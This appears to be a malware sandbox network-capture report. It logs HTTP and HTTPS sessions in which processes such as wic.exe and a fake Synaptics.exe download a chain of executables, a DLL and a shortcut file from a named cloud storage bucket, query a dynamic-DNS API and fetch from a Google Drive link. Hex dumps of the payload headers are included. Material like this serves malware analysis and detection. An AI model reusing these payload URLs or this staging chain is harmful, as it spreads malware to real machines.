Jan 2, 2025 20:20:00.022839069 CET	1176	IN	Data Raw: bf 18 e6 49 00 bd 1c e6 49 00 8b 1d 10 e6 49 00 3b 73 08 0f 8e 84 00 00 00 8b 1f 8b 43 08 3b f0 7e 7b 89 73 08 8b 5b 04 3b 73 08 7f f8 8b 17 89 42 08 3b 1f 74 04 89 1f eb 63 81 fe 00 10 00 00 7f 0d 8b c6 e8 85 ff ff ff 8b d8 85 db 75 4e 8b c6 e8 Data Ascii: III;sC;~{s[;sB;tcuNu3;u)u}}u3E I5 II5ILS+\|T;uC I5I]_^[U
Jan 2, 2025 20:20:00.023629904 CET	1236	IN	Data Raw: 00 8b 04 24 29 05 1c e6 49 00 8b f7 e9 33 01 00 00 8b d8 f6 03 02 75 0d 8b c3 8b 50 08 01 14 24 e8 e9 f6 ff ff 83 3c 24 0c 7c 1b 8b dd 03 de 8b 04 24 83 c8 02 89 03 8b c3 83 c0 04 e8 91 f7 ff ff e9 fe 00 00 00 8b f7 e9 f7 00 00 00 8b c6 2b c7 89 Data Ascii: $)I3uP$<$\|$+D$; IugI;D$\|SD$)ID$ I=I}I I5I3I+IE%u>uMH$$;L$}$$)D$,D$
Jan 2, 2025 20:20:00.023654938 CET	1236	IN	Data Raw: 78 11 fd f3 a5 89 c1 83 e1 03 83 c6 03 83 c7 03 f3 a4 fc 5f 5e c3 53 56 57 55 8b f2 8b d8 eb 08 53 e8 58 e8 ff ff 8b d8 8a 03 84 c0 74 04 3c 20 76 ee 80 3b 22 75 0b 80 7b 01 22 75 05 83 c3 02 eb e6 33 ed 8b fb eb 43 3c 22 75 31 53 e8 2c e8 ff ff Data Ascii: x_^SVWUSXt< v;"u{"u3C<"u1S,S"+t<"u;tSS+< wl%>3Q<"u8SS;v7CF;wt<"u;tSS;v7CF;w
Jan 2, 2025 20:20:00.027524948 CET	1236	IN	Data Raw: 04 b1 d7 74 17 ff 36 e8 4e e3 ff ff 85 c0 74 10 83 f8 02 75 07 c7 46 20 04 2d 40 00 31 c0 5e c3 ff 36 e8 23 e3 ff ff 66 c7 46 04 b0 d7 b8 69 00 00 00 eb ea 66 c7 46 04 b0 d7 e8 bb e3 ff ff eb dd c3 53 56 8b f2 8b d8 8b c3 33 c9 ba 4c 01 00 00 e8 Data Ascii: t6NtuF -@1^6#fFifFSV3LLCfC38IfCCCp-@!PSHYlDH3^[@SfHftIfs3=It=Iu3gt[@
Jan 2, 2025 20:20:00.935930967 CET	304	OUT	GET /270/2.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bruplong.oss-accelerate.aliyuncs.com Connection: Keep-Alive
Jan 2, 2025 20:20:01.350795984 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:20:01 GMT Content-Type: application/octet-stream Content-Length: 4645376 Connection: keep-alive x-oss-request-id: 6776E6E178D3851A82C59EB2 Accept-Ranges: bytes ETag: "85A57509DB3E9DFA7B4E451B8243220D" Last-Modified: Sat, 02 Nov 2024 19:15:45 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 11212801109602397947 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: haV1Cds+nfp7TkUbgkMiDQ== x-oss-server-time: 35 Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 9c 09 00 00 42 3d 00 00 00 00 00 80 ab 09 00 00 10 00 00 00 b0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^BB=@@G@Bx9<P@!@CODE `DATAT.0@BSS.idataB*,@.tls
Jan 2, 2025 20:20:05.957001925 CET	304	OUT	GET /270/3.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bruplong.oss-accelerate.aliyuncs.com Connection: Keep-Alive
Jan 2, 2025 20:20:06.349163055 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:20:06 GMT Content-Type: application/octet-stream Content-Length: 9872 Connection: keep-alive x-oss-request-id: 6776E6E640E6AE0DD7C5130B Accept-Ranges: bytes ETag: "1EDB88F9EE745EAAEE2CBD8219318EB0" Last-Modified: Sat, 02 Nov 2024 15:18:39 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9658441509656194699 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: HtuI+e50XqruLL2CGTGOsA== x-oss-server-time: 3 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e1 46 52 f6 a5 27 3c a5 a5 27 3c a5 a5 27 3c a5 e3 76 e3 a5 a7 27 3c a5 e3 76 dc a5 a7 27 3c a5 ac 5f af a5 a0 27 3c a5 a5 27 3d a5 b8 27 3c a5 a8 75 dd a5 a4 27 3c a5 a8 75 e2 a5 a4 27 3c a5 52 69 63 68 a5 27 3c a5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3a ce ab 66 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 20 00 00 00 10 00 00 00 80 00 00 80 a5 00 00 00 90 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 00 00 00 10 00 00 00 00 00 00 02 00 40 87 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$FR'<'<'<v'<v'<_'<'='<u'<u'<Rich'<PEL:f @@UPX0UPX1 @UPX2@
Jan 2, 2025 20:20:06.409101963 CET	304	OUT	GET /270/4.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bruplong.oss-accelerate.aliyuncs.com Connection: Keep-Alive
Jan 2, 2025 20:20:06.912296057 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:20:06 GMT Content-Type: application/octet-stream Content-Length: 346414 Connection: keep-alive x-oss-request-id: 6776E6E6C44ADA007FC505AD Accept-Ranges: bytes ETag: "39E7BE73C7531AC895F75834FDC1BCD6" Last-Modified: Sat, 02 Nov 2024 18:37:48 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12059760812609244457 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: Oee+c8dTGsiV91g0/cG81g== x-oss-server-time: 1 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 16 c9 9a 88 77 a7 c9 88 77 a7 c9 88 77 a7 c9 3c eb 56 c9 85 77 a7 c9 3c eb 54 c9 06 77 a7 c9 3c eb 55 c9 90 77 a7 c9 08 0c 5a c9 8a 77 a7 c9 08 0c a3 c8 9b 77 a7 c9 08 0c a4 c8 9f 77 a7 c9 08 0c a2 c8 bd 77 a7 c9 81 0f 24 c9 83 77 a7 c9 81 0f 34 c9 8f 77 a7 c9 88 77 a6 c9 92 76 a7 c9 06 0c a2 c8 b9 77 a7 c9 06 0c a7 c8 89 77 a7 c9 06 0c 58 c9 89 77 a7 c9 06 0c a5 c8 89 77 a7 c9 52 69 63 68 88 77 a7 c9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 b2 cf c8 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 21 00 2e 03 00 00 f6 03 00 00 00 00 00 90 07 02 00 00 10 00 00 00 40 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$www<Vw<Tw<UwZwwww$w4wwvwwXwwRichwPELd!.@@p@4P`t@#Tf@@x\ .text-. `.rdata@2@@.dataPG@.didatP
Jan 2, 2025 20:20:07.490386009 CET	306	OUT	GET /270/wic.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bruplong.oss-accelerate.aliyuncs.com Connection: Keep-Alive
Jan 2, 2025 20:20:07.962923050 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:20:07 GMT Content-Type: application/octet-stream Content-Length: 3483648 Connection: keep-alive x-oss-request-id: 6776E6E7494A37041BC52F4F Accept-Ranges: bytes ETag: "6AD65B03E75BC5509BA3104510178EE6" Last-Modified: Sat, 02 Nov 2024 15:06:38 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12551179916436374333 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: atZbA+dbxVCboxBFEBeO5g== x-oss-server-time: 49 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 67 ad 33 d9 23 cc 5d 8a 23 cc 5d 8a 23 cc 5d 8a 46 aa 5e 8b 3d cc 5d 8a 46 aa 59 8b 05 cc 5d 8a 46 aa 58 8b c4 cc 5d 8a 46 aa 5b 8b 20 cc 5d 8a 71 a4 59 8b 01 cc 5d 8a 71 a4 5e 8b 3a cc 5d 8a 71 a4 58 8b 5f cd 5d 8a 46 aa 5c 8b 06 cc 5d 8a 23 cc 5c 8a 35 cf 5d 8a 88 a5 54 8b 20 cc 5d 8a 88 a5 a2 8a 22 cc 5d 8a 23 cc ca 8a 22 cc 5d 8a 88 a5 5f 8b 22 cc 5d 8a 52 69 63 68 23 cc 5d 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fb 3e 26 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 10 00 1a 18 00 00 52 1d 00 00 00 00 00 09 ba 14 00 00 10 00 00 00 30 18 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$g3#]#]#]F^=]FY]FX]F[ ]qY]q^:]qX_]F\]#\5]T ]"]#"]_"]Rich#]PEL>&gR0@5@[\|Pp32p@0.text `.rdatab0d@@.data^@.rsrcP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49712	47.254.187.72	80	7340	C:\Windows\wic.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 20:20:11.557404041 CET	151	OUT	GET /270/cbas.exe HTTP/1.1 User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher) Host: bruplong.oss-accelerate.aliyuncs.com
Jan 2, 2025 20:20:12.517365932 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:20:12 GMT Content-Type: application/octet-stream Content-Length: 295424 Connection: keep-alive x-oss-request-id: 6776E6EC78D3851A82C5A37A Accept-Ranges: bytes ETag: "9FD7C0ACC95C7F1311BDE279D0B6A03A" Last-Modified: Sat, 02 Nov 2024 13:26:13 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 13157587370901313456 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: n9fArMlcfxMRveJ50LagOg== x-oss-server-time: 21 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4d b7 62 8a 09 d6 0c d9 09 d6 0c d9 09 d6 0c d9 7a b4 0f d8 04 d6 0c d9 7a b4 09 d8 a0 d6 0c d9 7a b4 08 d8 1f d6 0c d9 5b be 0f d8 1e d6 0c d9 7a b4 0d d8 00 d6 0c d9 09 d6 0d d9 82 d6 0c d9 5b be 09 d8 49 d6 0c d9 5b be 08 d8 28 d6 0c d9 a2 bf 05 d8 08 d6 0c d9 a2 bf f3 d9 08 d6 0c d9 a2 bf 0e d8 08 d6 0c d9 52 69 63 68 09 d6 0c d9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 73 22 26 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 10 00 18 03 00 00 76 01 00 00 00 00 00 2c 3a 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Mbzzz[z[I[(RichPELs"&gv,:0@@xG<Lp0@0.text `.rdata"0$@@.data@ `@@.rsrcR@@.relo
Jan 2, 2025 20:20:12.517396927 CET	1236	IN	Data Raw: 63 00 00 4c 2a 00 00 00 a0 04 00 00 2c 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: cL*,V@B
Jan 2, 2025 20:20:12.517406940 CET	1236	IN	Data Raw: 20 80 44 00 c3 cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f8 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 d9 ff ff ff ff 70 04 ff 30 e8 2f a2 01 00 83 c4 18 8b e5 5d c3 cc cc cc cc cc cc cc cc 55 8b ec 51 8d 45 0c 50 6a 00 ff 75 08 6a 01 e8 da 6c 01 Data Ascii: DUuuuup0/]UQEPjujlPY]Ul`D3EUEVUNEQW2CPf3M3^:]UVWFP2CfEP2^]I
Jan 2, 2025 20:20:12.517419100 CET	388	IN	Data Raw: 08 50 0f b6 45 08 50 e8 c7 0c 01 00 83 c4 08 5d c2 04 00 cc cc cc cc cc cc cc cc 55 8b ec 51 53 8b 5d 0c 33 d2 56 8b 75 08 2b de 57 33 ff 3b 75 0c 0f 47 da 85 db 74 1e 8d 41 08 89 45 fc 50 0f b6 06 50 e8 8b 0c 01 00 88 06 47 8b 45 fc 83 c4 08 46 Data Ascii: PEP]UQS]3Vu+W3;uGtAEPPGEF;u_^[]UE]UUVuW}+QVRf1_^]UE]UUVuW}+QVR&1_^]UVF
Jan 2, 2025 20:20:12.517429113 CET	1236	IN	Data Raw: 8b 56 04 8b 49 04 3b 4a 04 75 0f 8b 00 3b 06 75 09 b0 01 5e 8b e5 5d c2 08 00 32 c0 5e 8b e5 5d c2 08 00 cc cc cc cc 55 8b ec 8b 41 04 56 8b 75 08 8b 56 04 3b 42 04 75 0e 8b 06 3b 45 0c 75 07 b0 01 5e 5d c2 08 00 32 c0 5e 5d c2 08 00 cc cc cc cc Data Ascii: VI;Ju;u^]2^]UAVuV;Bu;Eu^]2^]VhpDh@h0DutFpD^SUkl$jhpCdPSXl`D3EVWPEd}CMP}._CsE
Jan 2, 2025 20:20:12.517448902 CET	1236	IN	Data Raw: 13 31 01 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 56 8b 75 08 0f 57 c0 57 8b f9 8d 47 04 50 c7 07 84 32 43 00 66 0f d6 00 8d 46 04 50 e8 44 28 01 00 c7 07 9c 32 43 00 83 c4 08 8b 46 0c 89 47 0c 8b 46 10 89 47 10 8b c7 c7 07 a4 18 Data Ascii: 1UVuWWGP2CfFPD(2CFGFGD_^]UVuWWGP2CfFP'2CFGFG2C_^]UVuWWGP2CfFP'2CFGFG_^]
Jan 2, 2025 20:20:12.517466068 CET	448	IN	Data Raw: 83 f8 ff 77 22 83 f8 ef 77 1d 8b 49 04 83 c0 10 50 57 8b 11 ff 52 08 85 c0 74 0c 8d 4e ff 5f 89 48 08 5e 5d c2 0c 00 5f 33 c0 5e 5d c2 0c 00 f0 ff 41 14 8d 41 08 c3 cc cc cc cc cc cc cc cc 8b c1 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec Data Ascii: w"wIPWRtN_H^]_3^]AAUEVtjV^]UjhCdPTl`D3ESVWPEdPDEuPatjhDsv3E
Jan 2, 2025 20:20:12.517478943 CET	1236	IN	Data Raw: 8d 8d e4 fe ff ff e8 94 75 00 00 8b b5 e4 fe ff ff 85 db 74 18 83 7e f4 00 7c 12 53 56 e8 42 9f 01 00 83 c4 08 85 c0 74 04 2b c6 79 1b 8d 85 b0 fd ff ff 50 ff b5 ac fd ff ff ff 15 44 30 43 00 85 c0 0f 85 27 ff ff ff ff b5 ac fd ff ff ff 15 4c 30 Data Ascii: ut~\|SVBt+yPD0C'L0CEFHVRMdY_^[M3]h@`UEVhDtjV^]VW;t!fDt
Jan 2, 2025 20:20:12.517491102 CET	1236	IN	Data Raw: 55 8c 52 50 51 8d 8d b8 fe ff ff e8 fb 4a 00 00 6a 48 8d 85 70 fe ff ff 6a 00 50 e8 8b 2b 01 00 83 c4 0c 8d 8d 70 fe ff ff e8 bd 4b 00 00 6a 48 8d 45 a0 c6 45 fc 05 6a 00 50 e8 6c 2b 01 00 8b 85 b8 fe ff ff 8d 4d b8 89 45 a0 83 c4 0c 8b 85 bc fe Data Ascii: URPQJjHpjP+pKjHEEjPl+MEEEEEEPE~fE~EfE~EfEEpEPM/Ij8T
Jan 2, 2025 20:20:12.517503977 CET	1236	IN	Data Raw: 20 0f 00 00 00 c6 47 0c 00 c7 45 fc 00 00 00 00 c7 47 34 00 00 00 00 c7 47 38 0f 00 00 00 c6 47 24 00 c7 47 4c 00 00 00 00 c7 47 50 0f 00 00 00 c6 47 3c 00 c6 45 fc 02 8d 77 60 c7 47 5c 00 00 00 00 89 75 ec c7 06 00 00 00 00 c7 46 04 00 00 00 00 Data Ascii: GEG4G8G$GLGPG<Ew`G\uFpmGxG\|Gh
Jan 2, 2025 20:20:12.517577887 CET	1236	IN	Data Raw: 00 00 72 02 8b 36 8d 45 c0 50 6a 00 6a 00 56 ff 15 bc 31 43 00 85 c0 75 29 ff 15 34 30 43 00 50 68 c4 0e 44 00 e8 d9 df ff ff 83 c4 08 33 c0 5f 5e 5b 8b 4d fc 33 cd e8 78 fe 00 00 8b e5 5d c2 08 00 ff 75 d4 8d 4d a8 c7 45 b8 00 00 00 00 ff 75 d0 Data Ascii: r6EPjjV1Cu)40CPhD3_^[M3x]uMEuEE_EPOEEUr,MBrI#+!RQeuMEuEE!_EPO$DUr,MBrI#+
Jan 2, 2025 20:20:12.877029896 CET	153	OUT	GET /270/msslac.dll HTTP/1.1 User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher) Host: bruplong.oss-accelerate.aliyuncs.com
Jan 2, 2025 20:20:13.302886009 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:20:13 GMT Content-Type: application/octet-stream Content-Length: 208896 Connection: keep-alive x-oss-request-id: 6776E6EDC44ADA007FC50825 Accept-Ranges: bytes ETag: "5E3BC49297F0765C486693790157273F" Last-Modified: Sat, 02 Nov 2024 13:26:13 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 2028005770612052367 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: XjvEkpfwdlxIZpN5AVcnPw== x-oss-server-time: 22 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 73 dc f1 b2 12 b2 a2 b2 12 b2 a2 b2 12 b2 a2 71 1d ed a2 b5 12 b2 a2 71 1d ef a2 a7 12 b2 a2 b2 12 b3 a2 67 13 b2 a2 95 d4 cf a2 ab 12 b2 a2 95 d4 df a2 23 12 b2 a2 95 d4 dc a2 c5 12 b2 a2 95 d4 c0 a2 b0 12 b2 a2 95 d4 c8 a2 b3 12 b2 a2 95 d4 ce a2 b3 12 b2 a2 95 d4 ca a2 b3 12 b2 a2 52 69 63 68 b2 12 b2 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b8 06 26 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 08 00 00 00 02 00 00 20 01 00 00 00 00 00 42 dc 00 00 00 10 00 00 00 10 02 00 00 00 00 10 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 70 03 00 00 10 00 00 29 54 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$sqqg#RichPEL&g! Bp)T{Cpg: xpC@f@.text^ `.rdatakp@@.data\|Z @.rsrc:@@@.relocI
Jan 2, 2025 20:20:13.655340910 CET	151	OUT	GET /270/cbas.lnk HTTP/1.1 User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher) Host: bruplong.oss-accelerate.aliyuncs.com
Jan 2, 2025 20:20:14.094134092 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:20:14 GMT Content-Type: text/plain Content-Length: 795 Connection: keep-alive x-oss-request-id: 6776E6ED78B3BB7EC1CC28EF Accept-Ranges: bytes ETag: "64C03FC25A3910E81DD3546B9F3AD9DC" Last-Modified: Sat, 02 Nov 2024 14:20:11 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 1167351137622024420 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: ZMA/wlo5EOgd01RrnzrZ3A== x-oss-server-time: 1 Data Raw: 4c 00 00 00 01 14 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 9b 00 08 00 20 00 00 00 f4 84 22 c2 31 2d db 01 b4 7d cb c5 31 2d db 01 80 1b c7 34 27 2d db 01 00 82 04 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 df 00 14 00 1f 50 e0 4f d0 20 ea 3a 69 10 a2 d8 08 00 2b 30 30 9d 19 00 2f 43 3a 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 00 31 00 00 00 00 00 5e 59 65 79 10 00 57 69 6e 64 6f 77 73 00 40 00 09 00 04 00 ef be 87 4f 77 48 62 59 69 6b 2e 00 00 00 38 b0 02 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2d b1 ac 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 00 00 16 00 5a 00 32 00 00 82 04 00 62 59 12 68 20 00 63 62 61 73 2e 65 78 65 00 00 42 00 09 00 04 00 ef be 62 59 04 72 62 59 04 72 2e 00 00 00 dd 52 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 96 98 00 63 00 62 00 61 00 73 00 2e 00 65 00 78 00 65 00 00 00 18 00 00 00 42 00 00 00 1c 00 00 00 01 00 00 00 1c 00 00 00 2d 00 00 00 00 00 00 00 41 00 00 00 11 00 00 00 03 00 00 00 1d [TRUNCATED] Data Ascii: LF "1-}1-4'-PO :i+00/C:\V1^YeyWindows@OwHbYik.8-WindowsZ2bYh cbas.exeBbYrbYr.Rcbas.exeB-Ae=(C:\Windows\cbas.exe..\..\..\Windows\cbas.exeC:\Windows$CBg(#`Xdesktop-41g4k28PAr)JPAr)J1SPSXFL8C&mq/S-1-5-21-2574277016-156308586

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49715	69.42.215.252	80	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 20:20:12.527962923 CET	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Jan 2, 2025 20:20:13.134208918 CET	243	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 02 Jan 2025 19:20:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49710	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:12 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:12 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-BrR8Q2plfx5ZVqMsFfTCkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' 